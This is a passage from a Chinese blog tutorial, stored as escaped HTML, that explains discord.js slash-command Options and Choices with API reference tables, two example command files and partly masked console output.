alt=\"image\" /\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712100330532-1982660812.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e除了字符串选项外,discord.js 提供了很多 Option 类型:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e\u003cstrong\u003e类型\u003c/strong\u003e\u003c/th\u003e\n\u003cth\u003e\u003cstrong\u003e设置方法名\u003c/strong\u003e\u003c/th\u003e\n\u003cth\u003e\u003cstrong\u003e说明\u003c/strong\u003e\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eSTRING\u003c/td\u003e\n\u003ctd\u003e.setStringOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要字符串值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eINTEGET\u003c/td\u003e\n\u003ctd\u003e.setIntegetOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要整数值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBOOLEAN\u003c/td\u003e\n\u003ctd\u003e.setBooleanOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要布尔值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eUSER\u003c/td\u003e\n\u003ctd\u003e.setUserOption()\u003c/td\u003e\n\u003ctd\u003e设置选项以要求 Discord 用户或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCHANNEL\u003c/td\u003e\n\u003ctd\u003e.setChannelOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要 Discord 服务器频道(Server Channel) 或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eROLE\u003c/td\u003e\n\u003ctd\u003e.setRoleOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要 Discord 身份组或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eMENTIONABLE\u003c/td\u003e\n\u003ctd\u003e.setMentionableOption()\u003c/td\u003e\n\u003ctd\u003e设置选项以要求用户、身份组或 snowflake 作为值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eNUMBER\u003c/td\u003e\n\u003ctd\u003e.setNumberOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要小数(也称为浮点数)值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eATTACHMENT\u003c/td\u003e\n\u003ctd\u003e.setAttachmentOption()\u003c/td\u003e\n\u003ctd\u003e将选项设置为需要附件\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSUB_COMMAND\u003c/td\u003e\n\u003ctd\u003e-\u003c/td\u003e\n\u003ctd\u003e将选项设置为子命令\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSUB_COMMAND_GROUP\u003c/td\u003e\n\u003ctd\u003e-\u003c/td\u003e\n\u003ctd\u003e将选项设置为子命令组\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eOption 经常和 Choice 搭配,因此下面我们先介绍 Choice,再给出更多的例子。\u003c/p\u003e\n\u003ch3\u003e选择 Choices\u003c/h3\u003e\n\u003cp\u003e“选项” 和 “选择” 我感觉都翻译的不咋样,容易弄混,所以我还是用回英文 Option 和 Choice 吧。\u003c/p\u003e\n\u003cp\u003eChoice 只能作用于 Option。\u003c/p\u003e\n\u003cp\u003eChoice 只能是 STRING(字符串) 或 INTEGER(整型)类型的 Option 才可以拥有的。\u003c/p\u003e\n\u003cp\u003eOption 很自由,用户想输入什么合法的内容就接收什么内容。\u003c/p\u003e\n\u003cp\u003eChoice 就像 C 语言的 \u003ccode\u003eenum\u003c/code\u003e,用户只能从一些程序给定的选择里挑一个出来。\u003c/p\u003e\n\u003cp\u003e如果一个 Option 被 Choice “绑定”了,那么 Option 的输入值,有效值只能是 Choices。\u003c/p\u003e\n\u003cp\u003e我们通过 \u003ccode\u003e.addChoice()\u003c/code\u003e 方法来构造 Choice。\u003c/p\u003e\n\u003cp\u003e给个例子:\u003ccode\u003ecommands/subOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t\t.setName('giftest')\n\t\t.setDescription('MultiOption test.')\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The choices category\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.addChoices(\n\t\t\t\t\t{ name: 'Funny', value: 'gif_funny'},\n\t\t\t\t\t{ name: 'Meme', value: 'gif_meme'},\n\t\t\t\t\t{ name: 'Movie', value: 'gif_movie'}))\n\t\t.addIntegerOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"The amount of gifs you want\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.setMinValue(1)\n\t\t\t\t.setMaxValue(5)),\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(category);\n\t\tfor (var i=2; i \u0026lt;= interaction.options.getInteger(\"amount\"); i++) {\n\t\t\tawait interaction.followUp(category);\n\t\t}\n\t},\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e分析一下这个例子之前,我们先看效果图。\u003c/p\u003e\n\u003cp\u003e错误用法之一:amount 的给定值小于允许的最小值(1),或大于了允许的最大值(5)\n\u003ccode\u003e/giftest category:Funny amount:7\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125309697-519004000.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之二:amount 类型为整数,却输入了浮点数\n\u003ccode\u003e/giftest category:Movie amount:4.9\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712130257095-983666074.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之三:未填所有必填项\n\u003ccode\u003e/giftest category: amount:1\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712130812688-1865799060.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e错误用法之四:category 字段 作为 Option 类型,用户填入了非有效选择\n\u003ccode\u003e/giftest category:ddd amount:2\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125311439-904337394.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e正确用法:\u003ccode\u003e/giftest category:Funny amount:3\u003c/code\u003e\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712125441257-1308943218.png\" alt=\"image\" /\u003e\n好,我们来解释代码。\u003c/p\u003e\n\u003cp\u003e这是一个同时使用了 Options 和 Choices 的代码例子。\u003c/p\u003e\n\u003cp\u003e这段节选代码,它指示了斜杠命令的命令名:\u003ccode\u003egiftest\u003c/code\u003e,和命令描述:\u003ccode\u003eMultiOption test.\u003c/code\u003e。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\ndata: new SlashCommandBuilder()\n\t\t.setName('giftest')\n\t\t.setDescription('MultiOption test.')\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这段节选代码,它为 \u003ccode\u003e/giftest\u003c/code\u003e 构造了第一个 Option 参数,而且是 string 类型的。\u003c/p\u003e\n\u003cp\u003e这个 Option 它的 “参数名” 是 \u003ccode\u003ecategory\u003c/code\u003e,必填,且有效值只可以是由紧跟其后的 Choices 的一项(Funny、Meme 或 Movie)。\u003c/p\u003e\n\u003cp\u003e这个 Choices 组有三条项目,每条都可以看成是 “键值对”。\u003c/p\u003e\n\u003cp\u003e同一个 Option 的 Choices 中,name 字段必须唯一,value字段倒是可以相同。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addStringOption(option =\u0026gt;\n\t\t\toption.setName(\"category\")\n\t\t\t\t.setDescription(\"The choices category\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.addChoices(\n\t\t\t\t\t{ name: 'Funny', value: 'gif_funny'},\n\t\t\t\t\t{ name: 'Meme', value: 'gif_meme'},\n\t\t\t\t\t{ name: 'Movie', value: 'gif_movie'}))\n\t\t\t\t\t\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这段节选代码,为斜杠命令构造了第二个 Option 参数,名为 amount,类型是 Integer,必填。\u003c/p\u003e\n\u003cp\u003e我们为 amount 这个值设定了输入时允许的最小值:1,和最大值:5。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\t\t.addIntegerOption(option =\u0026gt;\n\t\t\toption.setName(\"amount\")\n\t\t\t\t.setDescription(\"The amount of gifs you want\")\n\t\t\t\t.setRequired(true)\n\t\t\t\t.setMinValue(1)\n\t\t\t\t.setMaxValue(5)),\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的 execute() 函数,功能是回复 amount 遍 category 字段对应的键值对的值(gif_funny、git_meme 或 gif_movie)。\u003c/p\u003e\n\u003cp\u003e我们通过方法 \u003ccode\u003einteraction.options.getString(\"category\")\u003c/code\u003e 来获取 category 的值,即选定 choice 的键值对的值(value)。\u003c/p\u003e\n\u003cp\u003e我们通过方法 \u003ccode\u003einteraction.options.getInteger(\"amount\")\u003c/code\u003e 来获取 amount 的值,这是个用户输入的整数。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e...\n\n\tasync execute(interaction) {\n\t\tconst category = interaction.options.getString(\"category\");\n\t\tawait interaction.reply(category);\n\t\tfor (var i=2; i \u0026lt;= interaction.options.getInteger(\"amount\"); i++) {\n\t\t\tawait interaction.followUp(category);\n\t\t}\n\t},\n\n...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们发现,discord.js 提供的方法丰富多样,对于 bot 开发来说,是够用的。\u003c/p\u003e\n\u003cp\u003e我们在上面的 \u003ccode\u003ecommands/subOption.js\u003c/code\u003e 中看到,我们通过 \u003ccode\u003e.setName(\"giftest\")\u003c/code\u003e 设置了 name 字段的值,通过 \u003ccode\u003e.setDescription(\"MultiOption test.\")\u003c/code\u003e 设置了 description 字段的值,通过 \u003ccode\u003e.setMinValue(1)\u003c/code\u003e 设置了 minValue 的值。这些都是利用 discord.js 定义好的方法来设置属性的值,它们有个共同特点,就是都是 “set” 开头的方法名称,我们叫它们 set 方法。\u003c/p\u003e\n\u003cp\u003e类似地,我们通过 \u003ccode\u003e.getString(\"category\")\u003c/code\u003e、\u003ccode\u003e.getInteger(\"amount\")\u003c/code\u003e 来获取相应字段的值,它们有个共同特点,就是都是 “get” 开头的方法名称,我们叫它们 get 方法。\u003c/p\u003e\n\u003cp\u003eset和get一般一起出现,如果只定义了一个会有特殊意义:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果只有get,表示该属性只可读,不可写\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果只有set,表示该属性只可写,不可读\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eApplicationCommandOptionData 类\u003c/h3\u003e\n\u003cp\u003e应用程序命令或子命令的选项。来自 https://discord.js.org/#/docs/discord.js/main/typedef/ApplicationCommandOptionData\u003c/p\u003e\n\u003cp\u003e请注意,为任何 snake_case (下划线风格)属性提供 camelCase (驼峰风格) 对应项的值将丢弃提供的 snake_case (下划线风格) 属性。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e可选?\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.type\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 的类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.name\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.nameLocalizations\u003c/td\u003e\n\u003ctd\u003eObject \u0026lt; Locale, string \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eOption 名称的本地化\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.description\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e\u003c/td\u003e\n\u003ctd\u003eOption 说明\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.descriptionLocalizations\u003c/td\u003e\n\u003ctd\u003eObject \u0026lt; Locale, string \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eOption 描述的本地化\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.required\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e是否必须需要该项 Option\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.autocomplete\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e是否为 ApplicationCommandOptionType.String 、 ApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 启用自动完成\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.choices\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ApplicationCommandOptionChoice \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e供用户选择的 Choices\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.options\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ApplicationCommandOption \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e如果此选项是子命令(组),则附加 Option\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.channelTypes\u003c/td\u003e\n\u003ctd\u003eArray \u0026lt; ChannelType \u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e当Option 类型为频道 (channel) 时,可以选择的允许的频道 (channel) 类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.minValue\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 的最小值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.maxValue\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.Integer 或 ApplicationCommandOptionType.Number 类型的 Option 的最大值\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.minLength\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.String 类型的 Option 的最小长度(最大 6000)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.maxLength\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003eApplicationCommandOptionType.String 类型的 Option 的最大长度(最大 6000)\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对于上面提到的 ApplicationCommandOptionData 类,有效的 set 方法有:\u003c/p\u003e\n\u003cp\u003e.setName(name)\u003c/p\u003e\n\u003cp\u003e.setNameLocalizations(nameLocalizations)\u003c/p\u003e\n\u003cp\u003e.setDescription(description)\u003c/p\u003e\n\u003cp\u003e.setDescriptionLocalizations(descriptionLocalizations)\u003c/p\u003e\n\u003cp\u003e.setOptions(options)\u003c/p\u003e\n\u003cp\u003e而 get option 的值时,方法会返回\u003ccode\u003eCommandInteractionOptionResolver\u003c/code\u003e。\u003c/p\u003e\n\u003ch3\u003eApplicationCommandOptionChoiceData 类\u003c/h3\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e可选?\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.name\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eChoice 的名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.nameLocalizations\u003c/td\u003e\n\u003ctd\u003eObject\u0026lt; Locale,string\u0026gt;\u003c/td\u003e\n\u003ctd\u003eY\u003c/td\u003e\n\u003ctd\u003e此 Choice 的本地化名称\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.value\u003c/td\u003e\n\u003ctd\u003estring 或 number\u003c/td\u003e\n\u003ctd\u003eN\u003c/td\u003e\n\u003ctd\u003eChoice 的值\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3\u003eCommandInteractionOptionResolver 类\u003c/h3\u003e\n\u003cp\u003e命令交互选项的解析器。\u003c/p\u003e\n\u003cp\u003e方法(Methods):\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e方法名\u003c/th\u003e\n\u003cth\u003e第一个参数\u003c/th\u003e\n\u003cth\u003e第二个参数\u003c/th\u003e\n\u003cth\u003e返回值类型\u003c/th\u003e\n\u003cth\u003e说明\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.get()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eCommandInteractionOption\u003c/td\u003e\n\u003ctd\u003e按名称获取选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getAttachment()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eAttachment\u003c/td\u003e\n\u003ctd\u003e获取附件选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getBoolean()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eboolean\u003c/td\u003e\n\u003ctd\u003e获取一个布尔选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getChannel()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eGuildChannelThreadChannelAPIChannel\u003c/td\u003e\n\u003ctd\u003e获取频道选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getFocused()\u003c/td\u003e\n\u003ctd\u003e[getFull]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring 或 AutocompleteFocusedOption\u003c/td\u003e\n\u003ctd\u003e获取关注点选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getInteger()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e获取整数选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMember()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003eGuildMemberAPIGuildMember\u003c/td\u003e\n\u003ctd\u003e获取服务器成员选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMentionable()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eUserGuildMemberAPIGuildMember 或 RoleAPIRole\u003c/td\u003e\n\u003ctd\u003e获得一个服务器成员或身份组的选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getMessage()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eMessage\u003c/td\u003e\n\u003ctd\u003e获取消息选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getNumber()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003enumber\u003c/td\u003e\n\u003ctd\u003e获取数字选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getRole()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eRoleAPIRole\u003c/td\u003e\n\u003ctd\u003e获取身份组选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getString()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取字符串选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getSubcommand()\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取选定的子命令\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getSubcommandGroup()\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003e无\u003c/td\u003e\n\u003ctd\u003estring\u003c/td\u003e\n\u003ctd\u003e获取选定的子命令组\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.getUser()\u003c/td\u003e\n\u003ctd\u003ename\u003c/td\u003e\n\u003ctd\u003e[required]\u003c/td\u003e\n\u003ctd\u003eUser\u003c/td\u003e\n\u003ctd\u003e获取用户选项\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e属性(Properties):\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e属性名\u003c/th\u003e\n\u003cth\u003e类型\u003c/th\u003e\n\u003cth\u003e描述\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e.client\u003c/td\u003e\n\u003ctd\u003eClient\u003c/td\u003e\n\u003ctd\u003e实例化这个的 client\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.data\u003c/td\u003e\n\u003ctd\u003eArray\u0026lt; CommandInteractionOption \u0026gt;\u003c/td\u003e\n\u003ctd\u003e交互的 options 数组\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e.resolved\u003c/td\u003e\n\u003ctd\u003e\u0026lt; CommandInteractionResolvedData \u0026gt;\u003c/td\u003e\n\u003ctd\u003e交互解析数据\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e介绍了这么多个类,用代码举个例子 \u003ccode\u003ecommands/multiOption.js\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst { SlashCommandBuilder } = require('discord.js');\n\nmodule.exports = {\n\tdata: new SlashCommandBuilder()\n\t.setName('multioption')\n\t.setDescription('Multiple options.')\n\t.addStringOption(option =\u0026gt; option.setName('input').setDescription('Enter a string'))\n\t.addIntegerOption(option =\u0026gt; option.setName('int').setDescription('Enter an integer'))\n\t.addBooleanOption(option =\u0026gt; option.setName('choice').setDescription('Select a boolean'))\n\t.addUserOption(option =\u0026gt; option.setName('target').setDescription('Select a user'))\n\t.addChannelOption(option =\u0026gt; option.setName('destination').setDescription('Select a channel'))\n\t.addRoleOption(option =\u0026gt; option.setName('muted').setDescription('Select a role'))\n\t.addMentionableOption(option =\u0026gt; option.setName('mentionable').setDescription('Mention something'))\n\t.addNumberOption(option =\u0026gt; option.setName('num').setDescription('Enter a number'))\n\t.addAttachmentOption(option =\u0026gt; option.setName('attachment').setDescription('Attach something')),\n\n\tasync execute(interaction) {\n\t\tconst string = interaction.options.getString('input');\n\t\tconst integer = interaction.options.getInteger('int');\n\t\tconst boolean = interaction.options.getBoolean('choice');\n\t\tconst user = interaction.options.getUser('target');\n\t\tconst member = interaction.options.getMember('target');\n\t\tconst channel = interaction.options.getChannel('destination');\n\t\tconst role = interaction.options.getRole('muted');\n\t\tconst mentionable = interaction.options.getMentionable('mentionable');\n\t\tconst number = interaction.options.getNumber('num');\n\t\tconst attachment = interaction.options.getAttachment('attachment');\n\n\t\tawait console.log(string, integer, boolean, user, member, channel, role, mentionable, number, attachment)\n\t\tawait interaction.reply(\"done\");\n\t},\n};\n\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们输入如下图所示,注意有些项没填,所以输出将是 null:\n\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202207/2455224-20220712150435869-1215124464.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e控制台输出:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e222 null false null null null Role {\n guild: \u0026lt;ref *1\u0026gt; Guild {\n id: 'xxxxxxxxxxxxxx0988',\n name: '---隐私打码---',\n icon: null,\n features: [],\n commands: GuildApplicationCommandManager {\n permissions: [ApplicationCommandPermissionsManager],\n guild: [Circular *1]\n },\n members: GuildMemberManager { guild: [Circular *1] },\n channels: GuildChannelManager { guild: [Circular *1] },\n bans: GuildBanManager { guild: [Circular *1] },\n roles: RoleManager { guild: [Circular *1] },\n presences: PresenceManager {},\n voiceStates: VoiceStateManager { guild: [Circular *1] },\n stageInstances: StageInstanceManager { guild: [Circular *1] },\n invites: GuildInviteManager { guild: [Circular *1] },\n scheduledEvents: GuildScheduledEventManager { guild: [Circular *1] },\n available: true,\n shardId: 0,\n splash: null,\n banner: null,\n description: null,\n verificationLevel: 'NONE',\n vanityURLCode: null,\n nsfwLevel: 'DEFAULT',\n premiumSubscriptionCount: 0,\n discoverySplash: null,\n memberCount: 3,\n large: false,\n premiumProgressBarEnabled: false,\n applicationId: null,\n afkTimeout: 300,\n afkChannelId: null,\n systemChannelId: 'xxxxxxxxxxxxxx2250',\n premiumTier: 'NONE',\n explicitContentFilter: 'DISABLED',\n mfaLevel: 'NONE',\n joinedTimestamp: xxxxxxxxxx691,\n defaultMessageNotifications: 'ALL_MESSAGES',\n systemChannelFlags: SystemChannelFlags { bitfield: 0 },\n maximumMembers: 500000,\n maximumPresences: null,\n approximateMemberCount: null,\n approximatePresenceCount: null,\n vanityURLUses: null,\n rulesChannelId: null,\n publicUpdatesChannelId: null,\n preferredLocale: 'en-US',\n ownerId: 'xxxxxxxxxxxxxx4590',\n emojis: GuildEmojiManager { guild: [Circular *1] },\n stickers: GuildStickerManager { guild: [Circular *1] }\n },\n icon: null,\n unicodeEmoji: null,\n id: 'xxxxxxxxxxxxxx2137',\n name: 'BlogTest',\n color: 0,\n hoist: false,\n rawPosition: 1,\n permissions: Permissions { bitfield: 8n },\n managed: true,\n mentionable: false,\n tags: { botId: 'xxxxxxxxxxxxxx4939' }\n} null 7.5 MessageAttachment {\n attachment: 'https://cdn.discordapp.com/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n name: '1_BPSx-c--z6r7tY29L19ukQ.png',\n id: 'xxxxxxxxxxxxxx9424',\n size: 50120,\n url: 'https://cdn.discordapp.com/ephemeral-attachments/xxxxxxxxxxxxxx0592/xxxxxxxxxxxxxx9424/1_BPSx-c--z6r7tY29L19ukQ.png',\n proxyURL: 